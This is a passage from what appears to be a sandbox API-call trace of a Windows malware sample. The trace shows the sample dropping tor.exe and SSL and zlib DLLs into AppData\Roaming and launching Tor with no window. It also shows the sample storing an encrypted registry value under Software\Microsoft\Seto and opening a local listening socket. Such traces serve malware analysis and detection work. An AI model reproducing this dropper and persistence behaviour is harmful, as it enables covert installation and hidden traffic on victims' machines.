(hObject=0x148) returned 1 [0111.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x46953d3, cbMultiByte=12, lpWideCharStr=0x831838, cchWideChar=13 | out: lpWideCharStr="libssp-0.dll") returned 12 [0111.770] wvnsprintfW (in: pszDest=0x5be404, cchDest=260, pszFmt="%s\\%s", arglist=0x5be3f8 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libssp-0.dll") returned 52 [0111.770] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\libssp-0.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\libssp-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0111.770] WriteFile (in: hFile=0x148, lpBuffer=0x46953e4*, nNumberOfBytesToWrite=0x169b7, lpNumberOfBytesWritten=0x5be3cc, lpOverlapped=0x0 | out: lpBuffer=0x46953e4*, lpNumberOfBytesWritten=0x5be3cc*=0x169b7, lpOverlapped=0x0) returned 1 [0111.772] CloseHandle (hObject=0x148) returned 1 [0111.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x46abd9b, cbMultiByte=12, lpWideCharStr=0x831838, cchWideChar=13 | out: lpWideCharStr="ssleay32.dll") returned 12 [0111.773] wvnsprintfW (in: pszDest=0x5be404, cchDest=260, pszFmt="%s\\%s", arglist=0x5be3f8 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\ssleay32.dll") returned 52 [0111.773] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\ssleay32.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\ssleay32.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0111.773] WriteFile (in: hFile=0x148, lpBuffer=0x46abdac*, nNumberOfBytesToWrite=0x61c00, lpNumberOfBytesWritten=0x5be3cc, lpOverlapped=0x0 | out: lpBuffer=0x46abdac*, lpNumberOfBytesWritten=0x5be3cc*=0x61c00, lpOverlapped=0x0) returned 1 [0111.777] CloseHandle (hObject=0x148) returned 1 [0111.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x470d9ac, cbMultiByte=7, lpWideCharStr=0x82ff68, cchWideChar=8 | out: lpWideCharStr="tor.exe") returned 7 [0111.780] wvnsprintfW (in: pszDest=0x5be404, cchDest=260, pszFmt="%s\\%s", arglist=0x5be3f8 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor.exe") returned 47 [0111.781] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor.exe" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0111.781] WriteFile (in: hFile=0x148, lpBuffer=0x470d9b8*, nNumberOfBytesToWrite=0x2d4600, lpNumberOfBytesWritten=0x5be3cc, lpOverlapped=0x0 | out: lpBuffer=0x470d9b8*, lpNumberOfBytesWritten=0x5be3cc*=0x2d4600, lpOverlapped=0x0) returned 1 [0111.831] CloseHandle (hObject=0x148) returned 1 [0111.878] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49e1fb8, cbMultiByte=9, lpWideCharStr=0x82ff68, cchWideChar=10 | out: lpWideCharStr="zlib1.dll") returned 9 [0111.878] wvnsprintfW (in: pszDest=0x5be404, cchDest=260, pszFmt="%s\\%s", arglist=0x5be3f8 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\zlib1.dll") returned 49 [0111.878] CreateFileW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\zlib1.dll" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\zlib1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0111.878] WriteFile (in: hFile=0x148, lpBuffer=0x49e1fc6*, nNumberOfBytesToWrite=0x1a400, lpNumberOfBytesWritten=0x5be3cc, lpOverlapped=0x0 | out: lpBuffer=0x49e1fc6*, lpNumberOfBytesWritten=0x5be3cc*=0x1a400, lpOverlapped=0x0) returned 1 [0111.880] CloseHandle (hObject=0x148) returned 1 [0111.881] wvnsprintfW (in: pszDest=0x5be658, cchDest=260, pszFmt="%s\\tor.exe", arglist=0x5be64c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor.exe") returned 47 [0111.881] CreateProcessW (in: lpApplicationName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor.exe", lpCommandLine="", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0xc000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x5be5d0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x5be5c0 | out: lpCommandLine="", lpProcessInformation=0x5be5c0*(hProcess=0x140, hThread=0x148, dwProcessId=0x9b4, dwThreadId=0x918)) returned 1 [0111.915] CloseHandle (hObject=0x148) returned 1 [0111.915] CloseHandle (hObject=0x140) returned 1 [0112.053] StringFromGUID2 (in: rguid=0x5bd808*(Data1=0x8e6a7e3d, Data2=0xcdd7, Data3=0x345a, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x333de6, cchMax=40 | out: lpsz="{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 39 [0112.053] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{8E6A7E3D-CDD7-345A-65D9-FE61A0417768}") returned 0x140 [0112.053] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) returned 0x0 [0112.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5bdc40, cbMultiByte=4, lpWideCharStr=0x333e9e, cchWideChar=10 | out: lpWideCharStr="Seto") returned 4 [0112.053] PathCombineW (in: pszDest=0x333e3c, pszDir="Software\\Microsoft", pszFile="Seto" | out: pszDest="Software\\Microsoft\\Seto") returned="Software\\Microsoft\\Seto" [0112.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5bdc54, cbMultiByte=9, lpWideCharStr=0x333e9e, cchWideChar=10 | out: lpWideCharStr="Yqlozyzuz") returned 9 [0112.053] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", ulOptions=0x0, samDesired=0x1, phkResult=0x5bdc6c | out: phkResult=0x5bdc6c*=0x148) returned 0x0 [0112.053] RegQueryValueExW (in: hKey=0x148, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x5bdf38, lpData=0x0, lpcbData=0x5bdc68*=0x0 | out: lpType=0x5bdf38*=0x3, lpData=0x0, lpcbData=0x5bdc68*=0x425) returned 0x0 [0112.053] RegQueryValueExW (in: hKey=0x148, lpValueName="Yqlozyzuz", lpReserved=0x0, lpType=0x5bdf38, lpData=0x867e10, lpcbData=0x5bdc68*=0x425 | out: lpType=0x5bdf38*=0x3, lpData=0x867e10*, lpcbData=0x5bdc68*=0x425) returned 0x0 [0112.053] RegCloseKey (hKey=0x148) returned 0x0 [0112.053] CryptAcquireContextW (in: phProv=0x5bdae8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x5bdae8*=0x81f328) returned 1 [0112.066] CryptCreateHash (in: hProv=0x81f328, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x5bdae4 | out: phHash=0x5bdae4) returned 1 [0112.066] CryptHashData (hHash=0x81f3b0, pbData=0x867e40, dwDataLen=0x3f5, dwFlags=0x0) returned 1 [0112.066] CryptGetHashParam (in: hHash=0x81f3b0, dwParam=0x2, pbData=0x5bdb10, pdwDataLen=0x5bdae0, dwFlags=0x0 | out: pbData=0x5bdb10, pdwDataLen=0x5bdae0) returned 1 [0112.066] CryptDestroyHash (hHash=0x81f3b0) returned 1 [0112.066] CryptReleaseContext (hProv=0x81f328, dwFlags=0x0) returned 1 [0112.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5bdf6c | out: lpSystemTimeAsFileTime=0x5bdf6c*(dwLowDateTime=0x39527d50, dwHighDateTime=0x1d31ac1)) [0112.066] GetTickCount () returned 0x22f1a [0112.066] GetTickCount () returned 0x22f1a [0112.066] GetTickCount () returned 0x22f1a [0112.066] GetTickCount () returned 0x22f1a [0112.066] GetTickCount () returned 0x22f1a [0112.066] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.067] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.068] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.069] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] GetTickCount () returned 0x22f1a [0112.070] CryptAcquireContextW (in: phProv=0x5bdae4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x5bdae4*=0x81f328) returned 1 [0112.070] CryptCreateHash (in: hProv=0x81f328, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x5bdae0 | out: phHash=0x5bdae0) returned 1 [0112.070] CryptHashData (hHash=0x81f3b0, pbData=0x834f00, dwDataLen=0x575, dwFlags=0x0) returned 1 [0112.070] CryptGetHashParam (in: hHash=0x81f3b0, dwParam=0x2, pbData=0x834ef0, pdwDataLen=0x5bdadc, dwFlags=0x0 | out: pbData=0x834ef0, pdwDataLen=0x5bdadc) returned 1 [0112.070] CryptDestroyHash (hHash=0x81f3b0) returned 1 [0112.071] CryptReleaseContext (hProv=0x81f328, dwFlags=0x0) returned 1 [0112.071] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Seto", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x5bdc9c, lpdwDisposition=0x0 | out: phkResult=0x5bdc9c*=0x148, lpdwDisposition=0x0) returned 0x0 [0112.071] RegSetValueExW (in: hKey=0x148, lpValueName="Yqlozyzuz", Reserved=0x0, dwType=0x3, lpData=0x834ed0*, cbData=0x5a5 | out: lpData=0x834ed0*) returned 0x0 [0112.071] RegCloseKey (hKey=0x148) returned 0x0 [0112.071] ReleaseMutex (hMutex=0x140) returned 1 [0112.071] CloseHandle (hObject=0x140) returned 1 [0112.074] GetCurrentThreadId () returned 0x690 [0112.074] SetLastError (dwErrCode=0x0) [0112.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5beb14 | out: lpSystemTimeAsFileTime=0x5beb14*(dwLowDateTime=0x39527d50, dwHighDateTime=0x1d31ac1)) [0112.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x17d41a, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0112.106] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13e4bc, lpParameter=0x7d5a, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0112.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13ed5b, lpParameter=0x94be, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0112.107] SetEvent (hEvent=0x10) returned 1 [0112.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x146da2, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0112.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x146da2, lpParameter=0x1, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0112.108] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x147292, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0112.109] WaitForMultipleObjects (nCount=0x6, lpHandles=0x334bc8*=0x140, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 155 os_tid = 0x91c Thread: id = 157 os_tid = 0x914 [0112.118] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0113.171] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0114.254] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0115.325] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0116.415] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0117.507] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0118.523] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0119.566] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0120.643] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0121.657] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0122.671] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0123.685] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0124.730] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0125.761] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0126.774] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0127.805] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0128.817] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0129.844] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0130.892] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0131.906] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0132.920] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) returned 0x102 [0133.938] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x3e8) Thread: id = 158 os_tid = 0x9a0 [0112.118] StringFromGUID2 (in: rguid=0x215efa0*(Data1=0xd773fc21, Data2=0x4fcb, Data3=0x6d43, Data4=([0]=0x65, [1]=0xd9, [2]=0xfe, [3]=0x61, [4]=0xa0, [5]=0x41, [6]=0x77, [7]=0x68)), lpsz=0x215f71a, cchMax=40 | out: lpsz="{D773FC21-4FCB-6D43-65D9-FE61A0417768}") returned 39 [0112.118] CreateMutexW (lpMutexAttributes=0x333fac, bInitialOwner=0, lpName="Global\\{D773FC21-4FCB-6D43-65D9-FE61A0417768}") returned 0x160 [0112.118] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0112.118] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.128] inet_addr (cp="127.0.0.1") returned 0x100007f [0112.128] htons (hostshort=0x7d5a) returned 0x5a7d [0112.128] socket (af=2, type=1, protocol=6) returned 0x17c [0112.132] setsockopt (s=0x17c, level=65535, optname=4, optval="\x01", optlen=4) returned 0 [0112.132] bind (s=0x17c, addr=0x215f710*(sa_family=2, sin_port=0x7d5a, sin_addr="127.0.0.1"), namelen=16) returned 0 [0112.132] listen (s=0x17c, backlog=2147483647) returned 0 [0112.132] WSAIoctl (in: s=0x17c, dwIoControlCode=0x8004667e, lpvInBuffer=0x215eeb4, cbInBuffer=0x4, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x215eeb0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x215eeb0, lpOverlapped=0x0) returned 0 [0112.132] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.250] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0112.250] Sleep (dwMilliseconds=0xa) [0112.380] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.468] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0112.468] Sleep (dwMilliseconds=0xa) [0112.608] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.724] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0112.724] Sleep (dwMilliseconds=0xa) [0112.827] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0112.933] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0112.933] Sleep (dwMilliseconds=0xa) [0112.974] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0113.062] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0113.062] Sleep (dwMilliseconds=0xa) [0113.170] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0113.289] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0113.289] Sleep (dwMilliseconds=0xa) [0113.375] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0113.483] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0113.484] Sleep (dwMilliseconds=0xa) [0113.576] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0113.716] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: addr=0x215ef00, addrlen=0x215eefc) returned 0xffffffff [0113.716] Sleep (dwMilliseconds=0xa) [0113.866] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0114.034] accept (in: s=0x17c, addr=0x215ef00, addrlen=0x215eefc | out: 